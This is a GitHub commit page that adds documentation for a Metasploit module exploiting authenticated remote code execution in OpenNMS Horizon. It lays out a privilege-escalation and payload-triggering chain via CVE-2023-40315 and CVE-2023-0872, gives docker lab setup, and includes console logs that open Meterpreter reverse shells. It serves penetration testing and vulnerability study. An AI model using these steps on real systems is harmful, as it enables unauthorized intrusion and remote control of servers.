Skip to content

Commit

Permalink
Add docs for opennms authenticated rce
Browse files Browse the repository at this point in the history
  • Loading branch information
ErikWynter committed Jan 26, 2024
1 parent 1418157 commit 26e2b2e
Showing 1 changed file with 237 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,237 @@
## Vulnerable Application
This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user.
For versions 32.0.2 and higher, this module requires valid credentials for a user
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.

The module first tries to authenticated to the target in order to verify the credentials and obtain the OpenNMS version.
Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint
and if that fails, via `/rest/filesystem/contents?f=users.xml`.

The module then uses the obtained OpenNMS version number and user privileges to see if exploitation is possible.

If the user has `ROLE_FILESYSTEM_EDITOR` privileges and either `ROLE_REST` or `ROLE_ADMIN`,
exploitation is attempted directly, regardless of the OpenNMS version.

If the user has `ROLE_ADMIN` privileges, exploitation is attempted, regardless of the OpenNMS version.
In this case, the module will first use the REST API to add `ROLE_FILESYSTEM_EDITOR` privileges for the user.

If the target is OpenNMS version 32.0.1 or lower and the highest user privileges are `ROLE_FILESYSTEM_EDITOR` or `ROLE_REST`,
the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872, respectively.

Once the user has the required privileges, the module takes the following approach to try and exploit the target:
- It uses `/rest/filesystem` to write a payload to a .bsh file on the target
- It uses `/rest/filesystem` to create a "notificationCommand" to execute the payload
- It uses `/rest/filesystem` to create a "destinationPath" to specify the "notificationCommand"
- It uses `/rest/filesystem` to create a "notification" for whenever an invalid login is performed to the web app.
This "notification" points to the "destinationPath".
- It uses `/rest/events` to reload the OpenNMS configuration
- It performs an invalid login to OpenNMS in order to trigger the "notification", which will trigger the payload.
The triggering of the payload can take several seconds, which is why the `WfsDelay` option is set to 15 by default.


This module has been successfully tested against OpenNMS version 31.0.7

## Installation Information
OpenNMS is open source software and is available on [GitHub](https://github.com/OpenNMS/opennms).
Documentation, including installation information, is available [here](https://docs.opennms.com/horizon/31/index.html).

The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files,
one for the PostgreSQL database and one for OpenNMS Horizon:

The PostgreSQL docker-compose file should look something like this:
```
---
version: '3'
volumes:
data-postgres: {}
services:
database:
image: postgres:15.5
container_name: database
environment:
TZ: 'America/New_York'
POSTGRES_USER: 'postgres'
POSTGRES_PASSWORD: 'postgres'
volumes:
- 'data-postgres:/var/lib/postgresql/data'
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U postgres" ]
interval: 10s
timeout: 3s
retries: 3
ports:
- '5432:5432/tcp'
```

For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:
```
---
version: '3'
volumes:
data-opennms: {}
data-config: {}
services:
horizon:
image: opennms/horizon:31.0.8
container_name: horizon
environment:
TZ: 'America/New_York'
POSTGRES_HOST: '192.168.91.202'
POSTGRES_PORT: 5432
POSTGRES_USER: 'postgres'
POSTGRES_PASSWORD: 'postgres'
OPENNMS_DBNAME: 'opennms-core-db'
OPENNMS_DBUSER: 'opennms'
OPENNMS_DBPASS: 'my-opennms-db-password'
volumes:
- data-opennms:/opennms-data
- data-config:/opt/opennms/etc
command: ["-s"]
ports:
- '8980:8980/tcp'
- '8101:8101/tcp'
healthcheck:
test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ]
interval: 1m
timeout: 5s
retries: 3
```
The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.

## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/linux/http/opennms_horizon_authenticated_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set FETCH_SRVHOST [IP]`
6. Do: `exploit`

## Options
### TARGETURI
The base path to OpenNMS. The default value is `/`.

### USERNAME
Username to authenticate with. The default value is `admin`

### PASSWORD
Password to authenticate with. The default value is `admin`


## Advanced Options
### PRIVESC_SAVE_DELAY
The time in seconds to wait for privesc changes to go into effect. This is used only when escalating privileges via CVE-2023-40315.
The default value is `3`.

## Targets
```
Id Name
-- ----
0 Linux
```

## Scenarios
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options
Module options (exploit/linux/http/opennms_horizon_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD rest yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.196 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8980 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /opennms/ yes The base path to OpenNMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME rest yes Username to authenticate with
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.91.196 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME fZn no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST 192.168.91.196 no Local IP to use for serving payload
FETCH_SRVPORT 8081 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.91.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.196:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872.
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to rebxympptby.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200
[*] Attempting cleanup...
meterpreter > getuid
Server username: opennms
```

### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file
username => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file
password => file
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.196:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315.
[*] Waiting 3 seconds for the changes to be saved...
[+] Successfully escalated privileges by adding ROLE_ADMIN
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to thwjtslfaqsg.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200
[*] Attempting cleanup...
meterpreter > getuid
Server username: opennms
```

0 comments on commit 26e2b2e

Please sign in to comment.